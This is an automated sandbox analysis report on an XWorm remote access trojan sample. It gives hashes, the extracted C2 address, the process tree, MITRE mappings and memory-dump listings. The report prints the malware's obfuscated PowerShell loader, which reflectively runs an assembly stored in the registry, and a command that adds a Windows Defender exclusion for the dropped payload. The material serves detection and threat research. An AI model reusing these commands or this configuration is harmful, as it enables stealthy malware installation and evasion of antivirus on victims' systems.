xworm | 1cf4d4852822a36a9c57c64e0a4a7c14c27751b448910f841e0733f586239814

Analysis

max time kernel
30s
max time network
19s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
11-05-2024 09:52

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General

Target

winhlp32.exe
Size

205KB
MD5

a83dc22ef14c6b5d96aaee00b10a4973
SHA1

ef84a5e12797487e7a4c1acaa9f783eda6cc77d5
SHA256

143e319ba8ca646021e2c90acc56ebb035612146b5c8c128214da52b1386e68d
SHA512

0662b2fb69f781f53333c71c3f6abbb581165457662c1f6667568b07828ee4b7b056caaff7dd1c1b857bc4bcf12743eae3489de2be426035498a82bd0caaeccc
SSDEEP

6144:y2q1XI3ttUUcmIN1EAr4SeBid/eedR19:lq143cUcB1pzP1Xd

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

3.0

147.185.221.18:41012

Attributes

Install_directory
%AppData%
install_file
Agent.exe

Signatures

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\Windows\System32\x4L.exe	family_xworm
behavioral14/memory/2684-22-0x0000000000CC0000-0x0000000000CD8000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2548 created 432 2548 powershell.EXE winlogon.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1500 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2696 cmd.exe
Executes dropped EXE 2 IoCs

Processes:

x4L.exex4Shellcode.exe

pid process

2684 x4L.exe
2764 x4Shellcode.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 ip-api.com

description	pid	process	target process
PID 2548 created 432	2548	powershell.EXE	winlogon.exe

pid	process
1500	powershell.exe

pid	process
2696	cmd.exe

pid	process
2684	x4L.exe
2764	x4Shellcode.exe

flow	ioc
2	ip-api.com

Drops file in System32 directory 5 IoCs

Processes:

powershell.EXEwinhlp32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\System32\x4L.exe	winhlp32.exe
File opened for modification	C:\Windows\System32\x4L.exe	winhlp32.exe
File created	C:\Windows\System32\x4Shellcode.exe	winhlp32.exe
File opened for modification	C:\Windows\System32\x4Shellcode.exe	winhlp32.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2548 set thread context of 2368 2548 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2700 timeout.exe

description	pid	process	target process
PID 2548 set thread context of 2368	2548	powershell.EXE	dllhost.exe

pid	process
2700	timeout.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10b5dd2689a3da01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.EXEdllhost.exepowershell.exe

pid	process
2548	powershell.EXE
2548	powershell.EXE
2368	dllhost.exe
2368	dllhost.exe
2368	dllhost.exe
2368	dllhost.exe
1500	powershell.exe
2368	dllhost.exe
2368	dllhost.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

winhlp32.exex4L.exepowershell.EXEdllhost.exesvchost.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2288	winhlp32.exe
Token: SeDebugPrivilege	2684	x4L.exe
Token: SeDebugPrivilege	2548	powershell.EXE
Token: SeDebugPrivilege	2548	powershell.EXE
Token: SeDebugPrivilege	2368	dllhost.exe
Token: SeAuditPrivilege	856	svchost.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeAuditPrivilege	856	svchost.exe

Suspicious use of WriteProcessMemory 50 IoCs

Processes:

winhlp32.execmd.exetaskeng.exepowershell.EXEdllhost.exex4L.exe

description	pid	process	target process
PID 2288 wrote to memory of 2684	2288	winhlp32.exe	x4L.exe
PID 2288 wrote to memory of 2684	2288	winhlp32.exe	x4L.exe
PID 2288 wrote to memory of 2684	2288	winhlp32.exe	x4L.exe
PID 2288 wrote to memory of 2764	2288	winhlp32.exe	x4Shellcode.exe
PID 2288 wrote to memory of 2764	2288	winhlp32.exe	x4Shellcode.exe
PID 2288 wrote to memory of 2764	2288	winhlp32.exe	x4Shellcode.exe
PID 2288 wrote to memory of 2764	2288	winhlp32.exe	x4Shellcode.exe
PID 2288 wrote to memory of 2696	2288	winhlp32.exe	cmd.exe
PID 2288 wrote to memory of 2696	2288	winhlp32.exe	cmd.exe
PID 2288 wrote to memory of 2696	2288	winhlp32.exe	cmd.exe
PID 2696 wrote to memory of 2700	2696	cmd.exe	timeout.exe
PID 2696 wrote to memory of 2700	2696	cmd.exe	timeout.exe
PID 2696 wrote to memory of 2700	2696	cmd.exe	timeout.exe
PID 768 wrote to memory of 2548	768	taskeng.exe	powershell.EXE
PID 768 wrote to memory of 2548	768	taskeng.exe	powershell.EXE
PID 768 wrote to memory of 2548	768	taskeng.exe	powershell.EXE
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2548 wrote to memory of 2368	2548	powershell.EXE	dllhost.exe
PID 2368 wrote to memory of 432	2368	dllhost.exe	winlogon.exe
PID 2368 wrote to memory of 476	2368	dllhost.exe	services.exe
PID 2368 wrote to memory of 492	2368	dllhost.exe	lsass.exe
PID 2368 wrote to memory of 500	2368	dllhost.exe	lsm.exe
PID 2368 wrote to memory of 604	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 684	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 760	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 820	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 856	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 972	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 236	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 108	2368	dllhost.exe	spoolsv.exe
PID 2368 wrote to memory of 1052	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 1116	2368	dllhost.exe	taskhost.exe
PID 2684 wrote to memory of 1500	2684	x4L.exe	powershell.exe
PID 2684 wrote to memory of 1500	2684	x4L.exe	powershell.exe
PID 2684 wrote to memory of 1500	2684	x4L.exe	powershell.exe
PID 2368 wrote to memory of 1176	2368	dllhost.exe	Dwm.exe
PID 2368 wrote to memory of 1208	2368	dllhost.exe	Explorer.EXE
PID 2368 wrote to memory of 3052	2368	dllhost.exe	svchost.exe
PID 2368 wrote to memory of 2164	2368	dllhost.exe	sppsvc.exe
PID 2368 wrote to memory of 2096	2368	dllhost.exe	wmiprvse.exe
PID 2368 wrote to memory of 2684	2368	dllhost.exe	x4L.exe
PID 2368 wrote to memory of 768	2368	dllhost.exe	taskeng.exe
PID 2368 wrote to memory of 1500	2368	dllhost.exe	powershell.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{ba1e7860-a45d-4898-a225-de7608d7e8af}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
2⤵
PID:604

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
3⤵
PID:2096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS
2⤵
PID:684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
2⤵
PID:760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
2⤵
PID:820

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
3⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:856

C:\Windows\system32\taskeng.exe
taskeng.exe {2231640F-02DF-4E81-8A7B-D92AD80B5E75} S-1-5-18:NT AUTHORITY\System:Service:
3⤵
- Suspicious use of WriteProcessMemory
PID:768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('x4'+[Char](115)+''+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
2⤵
PID:972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService
2⤵
PID:236

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
2⤵
PID:108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
2⤵
PID:1052

C:\Windows\system32\taskhost.exe
"taskhost.exe"
2⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
2⤵
PID:3052

C:\Windows\system32\sppsvc.exe
C:\Windows\system32\sppsvc.exe
2⤵
PID:2164

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1208

C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
"C:\Users\Admin\AppData\Local\Temp\winhlp32.exe"
2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\System32\x4L.exe
"C:\Windows\System32\x4L.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\x4L.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500

C:\Windows\System32\x4Shellcode.exe
"C:\Windows\System32\x4Shellcode.exe"
3⤵
- Executes dropped EXE
PID:2764

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp1FC0.tmp.bat""
3⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:2700

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp1FC0.tmp.bat
Filesize
160B

MD5
07db3304a4acb1f0e10138dee927b70b

SHA1
f71900ec7e7bcdb5e23984d6d7f408ecc028c7aa

SHA256
b0a806a474dbee5dce3519302899cc2e10f2530de7a224416c4daaf0968c36d0

SHA512
78cc693101f2c85d0f93d4e2294b9a3e98e3edb284e9f742d7f4bd770706b69a7b16068f55ad648a1bff5513a26982e13b2de778bb336f68587d132c35d20403

Download Submit
C:\Windows\System32\x4L.exe
Filesize
68KB

MD5
9ecdf1a7818f7e9952b6041e3aa19b7a

SHA1
93a8357036356c1c1e20a5cf69fdbad877ce8a0f

SHA256
0771bbea72ecea02dc0e9641cc91c039cccbcde0936716a6e3bc21b1203707e4

SHA512
847651f0a8cd4c5b791de90ac5987ba1ba4eca87e72df479c6c8bfc526788d22bef7123f72864a1a91aa94437d47b22cc5159d83bca6a71e246dad12fd292853

Download Submit
C:\Windows\System32\x4Shellcode.exe
Filesize
164KB

MD5
8a7bee2c8cec6ac50bc42fe03d3231e6

SHA1
ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d

SHA256
c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8

SHA512
34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5

Download Submit
memory/432-50-0x00000000004C0000-0x00000000004EC000-memory.dmp

Filesize
176KB

Download
memory/432-45-0x00000000004C0000-0x00000000004EC000-memory.dmp

Filesize
176KB

Download
memory/432-44-0x0000000000390000-0x00000000003B6000-memory.dmp

Filesize
152KB

Download
memory/432-42-0x0000000000390000-0x00000000003B6000-memory.dmp

Filesize
152KB

Download
memory/432-56-0x00000000004C0000-0x00000000004EC000-memory.dmp

Filesize
176KB

Download
memory/432-57-0x000007FEBFD90000-0x000007FEBFDA0000-memory.dmp

Filesize
64KB

Download
memory/432-58-0x0000000037B80000-0x0000000037B90000-memory.dmp

Filesize
64KB

Download
memory/476-84-0x000007FEBFD90000-0x000007FEBFDA0000-memory.dmp

Filesize
64KB

Download
memory/476-74-0x0000000000520000-0x000000000054C000-memory.dmp

Filesize
176KB

Download
memory/476-85-0x0000000037B80000-0x0000000037B90000-memory.dmp

Filesize
64KB

Download
memory/476-80-0x0000000000520000-0x000000000054C000-memory.dmp

Filesize
176KB

Download
memory/492-64-0x0000000000990000-0x00000000009BC000-memory.dmp

Filesize
176KB

Download
memory/492-72-0x0000000037B80000-0x0000000037B90000-memory.dmp

Filesize
64KB

Download
memory/492-71-0x000007FEBFD90000-0x000007FEBFDA0000-memory.dmp

Filesize
64KB

Download
memory/492-70-0x0000000000990000-0x00000000009BC000-memory.dmp

Filesize
176KB

Download
memory/500-88-0x0000000000860000-0x000000000088C000-memory.dmp

Filesize
176KB

Download
memory/1500-170-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/1500-171-0x0000000002080000-0x0000000002088000-memory.dmp

Filesize
32KB

Download
memory/2288-24-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2288-0-0x000007FEF6183000-0x000007FEF6184000-memory.dmp

Filesize
4KB

Download
memory/2288-2-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2288-1-0x0000000000880000-0x00000000008BA000-memory.dmp

Filesize
232KB

Download
memory/2368-38-0x0000000077A20000-0x0000000077B3F000-memory.dmp

Filesize
1.1MB

Download
memory/2368-39-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2368-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2368-37-0x0000000077B40000-0x0000000077CE9000-memory.dmp

Filesize
1.7MB

Download
memory/2368-31-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2368-32-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2368-33-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2368-34-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2548-30-0x0000000077A20000-0x0000000077B3F000-memory.dmp

Filesize
1.1MB

Download
memory/2548-29-0x0000000077B40000-0x0000000077CE9000-memory.dmp

Filesize
1.7MB

Download
memory/2548-28-0x00000000012F0000-0x000000000131A000-memory.dmp

Filesize
168KB

Download
memory/2548-27-0x0000000000360000-0x0000000000368000-memory.dmp

Filesize
32KB

Download
memory/2548-26-0x000000001A150000-0x000000001A432000-memory.dmp

Filesize
2.9MB

Download
memory/2684-22-0x0000000000CC0000-0x0000000000CD8000-memory.dmp

Filesize
96KB

Download
memory/2684-23-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmp

Filesize
9.9MB

Download
memory/2684-198-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmp

Filesize
9.9MB

Download